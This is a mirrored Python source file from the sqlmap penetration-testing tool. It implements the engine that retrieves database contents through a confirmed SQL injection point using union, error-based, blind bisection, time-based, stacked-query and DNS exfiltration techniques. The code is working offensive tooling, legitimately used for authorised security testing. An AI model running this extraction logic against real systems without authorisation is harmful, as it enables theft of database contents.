mirror of
https://github.com/sqlmapproject/sqlmap.git
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505 lines
21 KiB
Python
505 lines
21 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import re
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import time
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from lib.core.agent import agent
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from lib.core.bigarray import BigArray
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from lib.core.common import Backend
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from lib.core.common import calculateDeltaSeconds
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from lib.core.common import cleanQuery
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from lib.core.common import expandAsteriskForColumns
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from lib.core.common import extractExpectedValue
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from lib.core.common import getPublicTypeMembers
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from lib.core.common import getTechniqueData
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from lib.core.common import hashDBRetrieve
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from lib.core.common import hashDBWrite
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from lib.core.common import initTechnique
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from lib.core.common import isNoneValue
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from lib.core.common import isNumPosStrValue
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from lib.core.common import isTechniqueAvailable
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from lib.core.common import parseUnionPage
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from lib.core.common import popValue
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from lib.core.common import pushValue
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from lib.core.common import randomStr
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from lib.core.common import readInput
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from lib.core.common import singleTimeWarnMessage
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.dicts import FROM_DUMMY_TABLE
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from lib.core.enums import CHARSET_TYPE
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from lib.core.enums import DBMS
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from lib.core.enums import EXPECTED
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from lib.core.enums import PAYLOAD
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from lib.core.exception import SqlmapConnectionException
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from lib.core.exception import SqlmapDataException
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from lib.core.exception import SqlmapNotVulnerableException
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from lib.core.exception import SqlmapUserQuitException
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from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS
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from lib.core.settings import INFERENCE_MARKER
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from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
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from lib.core.settings import SQL_SCALAR_REGEX
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from lib.core.settings import UNICODE_ENCODING
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from lib.core.threads import getCurrentThreadData
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from lib.request.connect import Connect as Request
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from lib.request.direct import direct
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from lib.techniques.blind.inference import bisection
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from lib.techniques.blind.inference import queryOutputLength
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from lib.techniques.dns.test import dnsTest
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from lib.techniques.dns.use import dnsUse
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from lib.techniques.error.use import errorUse
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from lib.techniques.union.use import unionUse
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def _goDns(payload, expression):
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value = None
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if conf.dnsDomain and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None:
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if kb.dnsTest is None:
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dnsTest(payload)
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if kb.dnsTest:
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value = dnsUse(payload, expression)
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return value
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def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None):
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start = time.time()
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value = None
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count = 0
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value = _goDns(payload, expression)
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if value is not None:
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return value
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timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
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if not (timeBasedCompare and kb.dnsTest):
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if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not conf.forceThreads):
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if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I):
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expression = "SELECT %s FROM (%s)" % (field, expression)
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if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
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expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression))
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if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields.split(','):
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nulledCastedField = agent.nullAndCastField(field)
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injExpression = expression.replace(field, nulledCastedField, 1)
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else:
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injExpression = expression
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length = queryOutputLength(injExpression, payload)
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else:
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length = None
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kb.inferenceMode = True
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count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump)
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kb.inferenceMode = False
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if not kb.bruteMode:
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debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
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logger.debug(debugMsg)
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return value
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def _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
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outputs = []
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origExpr = None
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for field in expressionFieldsList:
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output = None
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if field.startswith("ROWNUM "):
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continue
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if isinstance(num, int):
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origExpr = expression
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expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])
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if "ROWNUM" in expressionFieldsList:
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expressionReplaced = expression
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else:
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expressionReplaced = expression.replace(expressionFields, field, 1)
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output = _goInference(payload, expressionReplaced, charsetType, firstChar, lastChar, dump, field)
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if isinstance(num, int):
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expression = origExpr
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outputs.append(output)
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return outputs
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def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False):
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"""
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Retrieve the output of a SQL query characted by character taking
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advantage of an blind SQL injection vulnerability on the affected
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parameter through a bisection algorithm.
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"""
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initTechnique(kb.technique)
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query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
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query = agent.suffixQuery(query)
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payload = agent.payload(newValue=query)
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count = None
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startLimit = 0
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stopLimit = None
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outputs = BigArray()
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if not unpack:
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return _goInference(payload, expression, charsetType, firstChar, lastChar, dump)
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_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
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rdbRegExp = re.search(r"RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
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if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD):
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expressionFieldsList = [expressionFields]
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if len(expressionFieldsList) > 1:
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infoMsg = "the SQL query provided has more than one field. "
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infoMsg += "sqlmap will now unpack it into distinct queries "
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infoMsg += "to be able to retrieve the output even if we "
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infoMsg += "are going blind"
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logger.info(infoMsg)
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# If we have been here from SQL query/shell we have to check if
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# the SQL query might return multiple entries and in such case
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# forge the SQL limiting the query output one entry at a time
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# NOTE: we assume that only queries that get data from a table
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# can return multiple entries
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if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
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expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)
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if limitCond:
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test = True
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if not stopLimit or stopLimit <= 1:
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if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
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test = False
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if test:
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# Count the number of SQL query entries output
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countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
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countedExpression = expression.replace(expressionFields, countFirstField, 1)
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if " ORDER BY " in countedExpression.upper():
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_ = countedExpression.upper().rindex(" ORDER BY ")
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countedExpression = countedExpression[:_]
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if not stopLimit:
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count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar)
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if isNumPosStrValue(count):
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count = int(count)
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if batch or count == 1:
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stopLimit = count
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else:
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message = "the SQL query provided can return "
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message += "%d entries. How many " % count
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message += "entries do you want to retrieve?\n"
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message += "[a] All (default)\n[#] Specific number\n"
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message += "[q] Quit"
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choice = readInput(message, default='A').upper()
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if choice == 'A':
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stopLimit = count
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elif choice == 'Q':
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raise SqlmapUserQuitException
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elif choice.isdigit() and int(choice) > 0 and int(choice) <= count:
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stopLimit = int(choice)
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infoMsg = "sqlmap is now going to retrieve the "
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infoMsg += "first %d query output entries" % stopLimit
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logger.info(infoMsg)
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elif choice in ('#', 'S'):
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message = "how many? "
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stopLimit = readInput(message, default="10")
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if not stopLimit.isdigit():
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errMsg = "invalid choice"
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logger.error(errMsg)
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return None
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else:
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stopLimit = int(stopLimit)
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else:
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errMsg = "invalid choice"
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logger.error(errMsg)
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return None
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elif count and not count.isdigit():
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warnMsg = "it was not possible to count the number "
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warnMsg += "of entries for the SQL query provided. "
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warnMsg += "sqlmap will assume that it returns only "
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warnMsg += "one entry"
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logger.warn(warnMsg)
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stopLimit = 1
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elif (not count or int(count) == 0):
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if not count:
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warnMsg = "the SQL query provided does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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return None
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elif (not stopLimit or stopLimit == 0):
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return None
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try:
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try:
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for num in xrange(startLimit, stopLimit):
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output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
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outputs.append(output)
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except OverflowError:
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errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
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errMsg += "with switch '--fresh-queries'"
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raise SqlmapDataException(errMsg)
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except KeyboardInterrupt:
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print
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warnMsg = "user aborted during dumping phase"
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logger.warn(warnMsg)
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return outputs
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elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper():
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expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
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outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
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return ", ".join(output or "" for output in outputs) if not isNoneValue(outputs) else None
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def _goBooleanProxy(expression):
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"""
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Retrieve the output of a boolean based SQL query
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"""
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initTechnique(kb.technique)
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if conf.dnsDomain:
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query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
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query = agent.suffixQuery(query)
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payload = agent.payload(newValue=query)
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output = _goDns(payload, expression)
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if output is not None:
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return output
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vector = kb.injection.data[kb.technique].vector
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vector = vector.replace(INFERENCE_MARKER, expression)
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query = agent.prefixQuery(vector)
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query = agent.suffixQuery(query)
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payload = agent.payload(newValue=query)
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timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
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output = hashDBRetrieve(expression, checkConf=True)
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if output is None:
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output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False)
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if output is not None:
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hashDBWrite(expression, output)
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return output
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def _goUnion(expression, unpack=True, dump=False):
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"""
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Retrieve the output of a SQL query taking advantage of an union SQL
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injection vulnerability on the affected parameter.
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"""
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output = unionUse(expression, unpack=unpack, dump=dump)
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if isinstance(output, basestring):
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output = parseUnionPage(output)
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return output
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def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
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"""
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Called each time sqlmap inject a SQL query on the SQL injection
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affected parameter.
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"""
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if conf.hexConvert:
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charsetType = CHARSET_TYPE.HEXADECIMAL
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kb.safeCharEncode = safeCharEncode
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kb.resumeValues = resumeValue
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for keyword in GET_VALUE_UPPERCASE_KEYWORDS:
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expression = re.sub(r"(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword, r"\g<1>%s\g<2>" % keyword, expression)
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if suppressOutput is not None:
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pushValue(getCurrentThreadData().disableStdOut)
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getCurrentThreadData().disableStdOut = suppressOutput
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try:
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pushValue(conf.db)
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pushValue(conf.tbl)
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if expected == EXPECTED.BOOL:
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forgeCaseExpression = booleanExpression = expression
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if expression.startswith("SELECT "):
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booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1")
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else:
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forgeCaseExpression = agent.forgeCaseStatement(expression)
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if conf.direct:
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value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)
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elif any(isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)):
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query = cleanQuery(expression)
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query = expandAsteriskForColumns(query)
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value = None
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found = False
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count = 0
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if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I):
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query = query.replace("DISTINCT ", "")
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if not conf.forceDns:
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if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
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kb.technique = PAYLOAD.TECHNIQUE.UNION
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kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8]
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fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion
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try:
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value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
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except SqlmapConnectionException:
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if not fallback:
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raise
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count += 1
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found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
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if not found and fallback:
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warnMsg = "something went wrong with full UNION "
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warnMsg += "technique (could be because of "
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warnMsg += "limitation on retrieved number of entries)"
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if " FROM " in query.upper():
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warnMsg += ". Falling back to partial UNION technique"
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singleTimeWarnMessage(warnMsg)
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try:
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pushValue(kb.forcePartialUnion)
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kb.forcePartialUnion = True
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value = _goUnion(query, unpack, dump)
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found = (value is not None) or (value is None and expectingNone)
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finally:
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kb.forcePartialUnion = popValue()
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else:
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singleTimeWarnMessage(warnMsg)
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if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
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kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
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value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
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count += 1
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found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
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if found and conf.dnsDomain:
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_ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION}.items())))
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warnMsg = "option '--dns-domain' will be ignored "
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warnMsg += "as faster techniques are usable "
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warnMsg += "(%s) " % _
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singleTimeWarnMessage(warnMsg)
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if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
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kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN
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if expected == EXPECTED.BOOL:
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value = _goBooleanProxy(booleanExpression)
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else:
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value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
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count += 1
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found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
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if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
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kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None
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if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
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kb.technique = PAYLOAD.TECHNIQUE.TIME
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else:
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kb.technique = PAYLOAD.TECHNIQUE.STACKED
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if expected == EXPECTED.BOOL:
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value = _goBooleanProxy(booleanExpression)
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else:
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value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
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else:
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errMsg = "none of the injection types identified can be "
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errMsg += "leveraged to retrieve queries output"
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raise SqlmapNotVulnerableException(errMsg)
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finally:
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kb.resumeValues = True
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kb.responseTimeMode = None
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conf.tbl = popValue()
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conf.db = popValue()
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if suppressOutput is not None:
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getCurrentThreadData().disableStdOut = popValue()
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kb.safeCharEncode = False
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if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
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warnMsg = "in case of continuous data retrieval problems you are advised to try "
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warnMsg += "a switch '--no-cast' "
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warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""
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singleTimeWarnMessage(warnMsg)
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# Dirty patch (safe-encoded unicode characters)
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if isinstance(value, unicode) and "\\x" in value:
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|
try:
|
|
candidate = eval(repr(value).replace("\\\\x", "\\x").replace("u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING)
|
|
if "\\x" not in candidate:
|
|
value = candidate
|
|
except:
|
|
pass
|
|
|
|
return extractExpectedValue(value, expected)
|
|
|
|
def goStacked(expression, silent=False):
|
|
if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data:
|
|
kb.technique = PAYLOAD.TECHNIQUE.STACKED
|
|
else:
|
|
for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True):
|
|
_ = getTechniqueData(technique)
|
|
if _ and "stacked" in _["title"].lower():
|
|
kb.technique = technique
|
|
break
|
|
|
|
expression = cleanQuery(expression)
|
|
|
|
if conf.direct:
|
|
return direct(expression)
|
|
|
|
query = agent.prefixQuery(";%s" % expression)
|
|
query = agent.suffixQuery(query)
|
|
payload = agent.payload(newValue=query)
|
|
Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare="SELECT" in (payload or "").upper())
|
|
|
|
def checkBooleanExpression(expression, expectingNone=True):
|
|
return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=expectingNone)
|